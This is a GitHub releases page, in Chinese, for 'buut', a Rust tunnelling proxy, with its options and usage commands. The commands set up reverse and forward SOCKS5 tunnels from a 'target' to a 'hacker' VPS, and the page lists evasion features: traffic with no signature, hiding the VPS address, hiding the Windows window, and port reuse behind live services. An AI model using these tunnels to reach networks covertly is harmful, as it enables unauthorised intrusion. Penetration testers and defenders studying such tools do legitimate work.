Skip to content

Releases: YDHCUI/buut

buut-1.2.1

12 Feb 06:34
5b07707
Compare
Choose a tag to compare

更新

1.2.1

1、支持配置文件,
使用方法,将需要的命令行参数全名写成toml就行 一行一个参数 。

比如简单的服务端配置,

```toml
listen_addr = "0.0.0.0:443"
proxy_port = "10086"
```

客户端配置
```toml
remote_addr = "192.168.93.217:443"
```

然后直接./buut -c conf.toml 启动就行

2、加入端口映射模式 。
使用,如将target的80端口映射到vps:81
target端设置 buut -s vps:1234 -p 81:80
或vps端设置 buut -l 1234 -p 81:80
正向时设置 buut -F -s target:443 -p 81:80

3、更换序列化类型、方便更新

4、加入内网IP回显功能 。

5、加入窗口隐藏选项。(仅windows)

buut-1.0.3

23 Dec 06:31
eac1b33
Compare
Choose a tag to compare

修复安全问题

修复32位和64位不兼容的bug

buut-1.0.2

22 Dec 01:47
bbf1c6c
Compare
Choose a tag to compare

1.0.2

1、多个相同id的客户端时会自动分配流量负载 方便组成代理池。

2、修复headers覆写不生效的bug。

3、其它优化。

buut-1.0.1

21 Dec 02:10
bbf1c6c
Compare
Choose a tag to compare

BUUT

https://github.com/YDHCUI/buut

介绍

一款使用rust开发的高性能正反向隧道代理工具,基于yamux多路复用技术。

工作原理

+------+      +--------------+      +-----+      +-----------+      +------------+      +----------+      +------+
|hacker| <--> | Socks5 stream| <--> | VPS | <--> |Yamux frame| <--> |Noise stream| <--> |TCP stream| <--> |TARGET|
+------+      +--------------+      +-----+      +-----------+      +------------+      +----------+      +------+

参数介绍

    opts.optopt("k", "key",             "", "加密密钥");
    opts.optopt("l", "server_listen",   "", "监听地址");
    opts.optopt("s", "remote_addr",     "", "远程地址");
    opts.optopt("f", "forward_addr",    "", "转发地址,只支持正向");
    opts.optopt("p", "proxy_port",      "", "代理端口,默认10086");
    opts.optopt("m", "transport",       "", "协议类型,默认TCP,支持<TCP|KCP>");
    opts.optopt("c", "config",          "", "配置文件,默认路径./conf.toml");
    opts.optopt("n", "name",            "", "客户端id");
    opts.optopt("", "channel",          "", "通道数量,默认1");
    opts.optopt("", "sockspass",        "", "代理密码,默认buut/buut");
    opts.optopt("", "headers",          "", "连接配置,连接服务所需的一些其它配置如cookie之类的");
    opts.optopt("", "noiseparams",      "", "加密方式,noise默认Noise_KK_25519_ChaChaPoly_BLAKE2s");
    opts.optflagopt("F", "forward",     "", "是否正向模式");
    opts.optflagopt("S", "service",     "", "是否服务模式");
    opts.optflagopt("X", "soreuse",     "", "是否端口复用");
    opts.optflagopt("O", "origins",     "", "是否流量加密");
    opts.optflagopt("Z", "compres",     "", "是否流量压缩"); 

特点:

速度快,使用多路复用技术 将带宽利用到极致。rust开发,速度、稳定性和安全性都有保证。

体积小,编译打包后只有不到几百k, 相比golang写的程序动辄10多M还是很有优势的。

无特征,程序使用Noise定制加密,可使用动态密钥保证无任何特征。

单文件,客户端和服务端使用同样的单文件、多模式自由组合切换。

多协议,目前release 0.7已支持tcp、kcp,后续把icmp、dns协议支持加进去。

使用方法

反向隧道

默认使用tcp连接反向隧道

    vps执行:          ./buut -l 443 
    target执行:       ./buut -s vps:443
    hacker连接socks5   vps:10086 


    vps:
    [root@localhost]# ./buut -l 443
    Reverse Server Listen [tcp://0.0.0.0:443]
    Client Handshake From 127.0.0.1:29505
    Agent ID [rmSyYaLX] Proxy Listen [0.0.0.0:10086]

    target:
    [root@localhost]# ./buut -s 127.0.0.1:443
    Reverse Agent ID [rmSyYaLX] Channel [1] Connect Suss

使用-S 参数启用服务模式,会同时监听tcp和kcp端口

    vps执行:          ./buut -S -l 443 
    target执行:       ./buut -s vps:443
    hacker连接socks5   vps:10086 

正向隧道

使用-F 参数连接tcp正向隧道

    target执行:       ./buut -F -l 443 
    vps执行:          ./buut -F -s target:443 
    hacker连接socks5   vps:10086 

    target:
    [root@localhost]# ./buut -F -l 443
    Forward Agent ID [3Yj2LLAg] Listen On [tcp://0.0.0.0:443]

    vps:
    [root@localhost]# ./buut -F -s 127.0.0.1:443
    Forward Server [tcp://127.0.0.1:443] Connect Suss
    Agent ID [3Yj2LLAg] Proxy Listen [0.0.0.0:10086]

如果服务需要登录才能访问 则使用headers参数设置cookie等请求头。

    target执行:       ./buut -F -l 1234
    vps执行:          ./buut -F -s https://target:1234/xx --headers Cookie:Session=xxxxxx;
    hacker连接socks5   vps:10086 

自建代理

    vps执行:          ./buut -F -S -l 10086
    user连接socks5     vps:10086 

    vps:
    [root@localhost]# ./buut -S -F -l 10086
    Socks5 Server ID [FPamyVyY] Listen On [tcp://0.0.0.0:10086]

Tips

1、设置BUUT变量隐藏vps。 如: 原本的 ./buut -s vps:1234 可改成 export BUUT=vps:1234 && ./buut

2、sockspass是每个agent端单独设置,所以应该在agent端设置,如 ./buut -s 127.0.0.1:443 --sockspass 123456

更新

1.0.1

1、支持自定义id。

3、支持headers覆写。

4、稳定版本,以后api保持不变,不兼容之前版本。

5、支持多平台,其它优化。

buut-0.7.1

17 Jul 07:42
11f46ab
Compare
Choose a tag to compare

更新

0.7.1

1、 仔细研究了下nginx 发现其实只要包含Connection: Upgrade的头 tcp也是能正常穿透的。
所以整体重构了下 正向直接伪装websocket头 建立连接后使用tcp传输。

2、解决空连接超时的ddos安全问题,提高性能,正向代理情况下使用-f参数不会影响到原有业务运行。

3、修改忽略服务端证书校验,以适应老旧网站。

4、使用so_reuseport优化端口复用,只支持unix。

buut 0.6.0

29 Jun 14:31
46221a2
Compare
Choose a tag to compare

更新

0.6.0

1、实现forward_addr功能, 将非buut流量转发到指定地址。 考虑到流量特征等原因该功能只对正向代理生效。

使用如: ./buut -F -l 1234 -f 127.0.0.1:8080

在不影响 buut 代理的使用的情况下 浏览器访问 127.0.0.1:1234 会返回 127.0.0.1:8080 的内容。

2、不兼容前面版本

0.5.1

1、修改支持nginx默认配置下的websocket穿透

2、通过noiseparams参数自定义noise加密方式,默认为 Noise_KK_25519_ChaChaPoly_BLAKE2s

使用如: ./buut --noiseparams Noise_KK_25519_ChaChaPoly_BLAKE2s

3、不兼容前面版本

buut-v0.5.0

26 May 08:01
370d84f
Compare
Choose a tag to compare

BUUT

https://github.com/YDHCUI/buut

介绍

一款使用rust开发的高性能正反向隧道代理工具,基于yamux多路复用技术。

工作原理

+------+      +-------------+      +-----------+      +-------------+      +----------+      +------+
|hacker| <--> | Socks5 VPS  | <--> |Yamux frame| <--> |Noise stream | <--> |TCP stream| <--> |TARGET|
+------+      +-------------+      +-----------+      +-------------+      +----------+      +------+

参数介绍

    opts.optopt("k", "key",             "", "加密密钥");
    opts.optopt("l", "server_listen",   "", "监听地址");
    opts.optopt("s", "remote_addr",     "", "远程地址");
    opts.optopt("f", "forward_addr",    "", "转发地址,暂未实现");
    opts.optopt("p", "proxy_port",      "", "代理端口,默认10086");
    opts.optopt("m", "transport",       "", "协议类型,默认TCP,支持<TCP|KCP|WS>");
    opts.optopt("n", "channel",         "", "通道数量,默认1");
    opts.optopt("c", "config",          "", "配置文件,默认路径./conf.toml");
    opts.optflagopt("F", "forward",     "", "是否正向模式");
    opts.optflagopt("S", "server",      "", "是否服务模式,同时监听tcp和kcp");
    opts.optflagopt("X", "reuse",       "", "是否端口复用");
    opts.optopt("",  "sockspass",       "", "代理密码,默认不验证,用户名buut"); 
    opts.optopt("",  "headers",         "", "连接所需的一些参数");
    //opts.optopt("",  "log",             "", "日志等级,默认不开"); 

特点:

速度快,使用多路复用技术 将带宽利用到极致。rust开发,速度、稳定性和安全性都有保证。

体积小,编译打包后只有不到几百k, 相比golang写的程序动辄10多M还是很有优势的。

无特征,程序使用Noise定制加密,可使用动态密钥保证无任何特征。

单文件,客户端和服务端使用同样的单文件、多模式自由组合切换。

多协议,目前release 0.4已支持tcp、kcp、websocket,后续把icmp、dns协议支持加进去。

使用方法

反向隧道

默认使用tcp连接反向隧道

    vps执行:          ./buut -l 443 
    target执行:       ./buut -s vps:443
    hacker连接socks5   vps:10086 


    vps:
    [root@localhost]# ./buut -l 443
    Reverse Server Listen [tcp://0.0.0.0:443]
    Client Handshake From 127.0.0.1:29505
    Agent ID [rmSyYaLX] Proxy Listen [0.0.0.0:10086]

    target:
    [root@localhost]# ./buut -s 127.0.0.1:443
    Reverse Agent ID [rmSyYaLX] Channel [1] Connect Suss

使用-S 参数启用服务模式,会同时监听tcp和kcp端口

    vps执行:          ./buut -S -l 443 
    target执行:       ./buut -s vps:443
    hacker连接socks5   vps:10086 

正向隧道

使用-F 参数连接tcp正向隧道

    target执行:       ./buut -F -l 443 
    vps执行:          ./buut -F -s target:443 
    hacker连接socks5   vps:10086 

    target:
    [root@localhost]# ./buut -F -l 443
    Forward Agent ID [3Yj2LLAg] Listen On [tcp://0.0.0.0:443]

    vps:
    [root@localhost]# ./buut -F -s 127.0.0.1:443
    Forward Server [tcp://127.0.0.1:443] Connect Suss
    Agent ID [3Yj2LLAg] Proxy Listen [0.0.0.0:10086]

使用websocket连接

    target执行:       ./buut -F -l 443 
    vps执行:          ./buut -F -s https://target:443 --headers Cookie:Session=xxxxxx;
    hacker连接socks5   vps:10086 

自建代理

    vps执行:          ./buut -F -S -l 10086
    user连接socks5     vps:10086 

    vps:
    [root@localhost]# ./buut -S -F -l 10086
    Socks5 Server ID [FPamyVyY] Listen On [tcp://0.0.0.0:10086]

Tips

1、设置BUUT变量隐藏vps。 如: 原本的 ./buut -s vps:1234 可改成 export BUUT=vps:1234 && ./buut

2、使用websocket协议时,连接地址应设为http://xxx格式 如: ./buut -m ws -s http://target:8081/xx

3、sockspass是对client端生效,所以设置时应该在client设置,如 ./buut -s 127.0.0.1:443 --sockspass 123456

更新

0.5.0

1、之前NN模式有安全问题,现在更改noiseparams 为 Noise_KK_25519_ChaChaPoly_BLAKE2s 所以可能和以前版本会有不兼容

0.4.4

1、加入自建sock5代理功能

使用如: ./buut -F -S -l 1234 会在本地启一个socks5 端口为 1234

0.4.3

1、websocket支持tls。

2、正向websocket连接加入自定义header选项参数

使用如: ./buut -F -m ws -s https://192.168.1.110/svr/wschat --headers Cookie:SessionId=xxxxxxxxxxxxx;

0.4.2

1、简单实现端口复用

2、去除默认参数,优化使用

3、修复握手包超时的的bug。

通过调用 SO_REUSEADDR 实现端口复用 使用如: ./buut -F -X -l 192.168.1.110:443

0.4.1

1、修改使KCP协议也使用noise加密。

2、修复正向代理不能使用kcp协议的问题。

0.4

1、加入websocket, kcp 协议支持。

2、修复client端不会自动重连的bug。

3、优化参数配置。

0.3.1

1、加入windows支持。

2、修改默认参数。

3、优化体积。

todo

1、实现icmp、dns协议支持

2、链式代理支持

3、端口映射模式

4、加入tun模式

5、将非buut流量转发到外部端口(急)

buut-v0.4.1

13 Apr 17:33
9057ecc
Compare
Choose a tag to compare

BUUT

https://github.com/YDHCUI/buut

介绍

一款使用rust开发的高性能正反向代理隧道工具,基于yamux多路复用技术。

工作原理

+------+      +-------------+      +-----------+      +-------------+      +----------+      +------+
|hacker| <--> | Socks5 VPS  | <--> |Yamux frame| <--> |Noise stream | <--> |TCP stream| <--> |TARGET|
+------+      +-------------+      +-----------+      +-------------+      +----------+      +------+

参数介绍

    opts.optopt("l", "server_listen",   "", "服务监听地址,默认0.0.0.0:443");
    opts.optopt("s", "remote_addr",     "", "远程地址,默认127.0.0.1:443");
    opts.optopt("p", "proxy_port",      "", "代理端口,默认10086");
    opts.optopt("m", "transport",       "", "协议类型,默认TCP");//|KCP|WS|ICMP|DNS
    opts.optopt("k", "key",             "", "加密密钥");
    opts.optopt("n", "channel",         "", "通道数量,默认1");
    opts.optopt("c", "config",          "", "配置文件路径");
    opts.optopt("",  "sockspass",       "", "代理密码,默认不验证,用户名buut"); 
    opts.optflagopt("F", "forward",     "", "是否正向模式");
    opts.optflagopt("S", "server",      "", "是否服务模式");

特点:

速度快,使用多路复用技术 将带宽利用到极致。rust开发,速度、稳定性和安全性都有保证。

体积小,编译只有不到几百k, 使用upx后还能更小,相比golang写的程序动辄10多M还是很有优势的。

无特征,程序使用Noise定制加密,可使用动态密钥保证无任何特征。

单文件,客户端和服务端使用同样的单文件、多模式自由组合切换。

多协议,目前release 0.4已支持tcp、kcp、websocket,后续把icmp、dns协议支持加进去。

使用方法

正向隧道:

    target执行:./buut -F -l 443 
    vps执行 :./buut -F -S -s target:443 -p 10086
    hacker连接socks5  vps:10086 

反向隧道

    vps执行:./buut -S -l 443 -p 10086
    target执行:./buut -s vps:443
    hacker连接socks5  vps:10086 

Tips

1、设置BUUT变量隐藏vps。 如: 原本的 ./buut -s vps:1234 可改成 export BUUT=vps:1234 && ./buut

2、使用websocket协议时,连接地址应设为ws://xxx格式 如: ./buut -m ws -s ws://target:8081/service

3、sockspass是对client端生效,所以设置时应该在client设置,如 ./buut -s 127.0.0.1:443 --sockspass 123456

更新

0.4.1

1、修改使KCP协议也使用noise加密。

2、修复正向代理不能使用kcp协议的问题。

0.4

1、加入websocket, kcp 协议支持。

2、修复client端不会自动重连的bug。

3、优化参数配置。

0.3.1

1、加入windows支持。

2、修改默认参数。

3、优化体积。

todo

1、增加icmp、dns协议支持

2、增加自动设置端口复用模式参数

3、加入多级代理支持

4、优化参数体验

0.4

12 Apr 09:12
d04ed07
Compare
Choose a tag to compare
0.4

0.4

1、加入websocket, kcp 协议支持。
2、修复client端不会自动重连的bug。
3、优化参数配置。

buut-0.3.1

09 Apr 01:57
6035a48
Compare
Choose a tag to compare

1、加入windows支持。
2、修改默认参数 。
3、优化体积。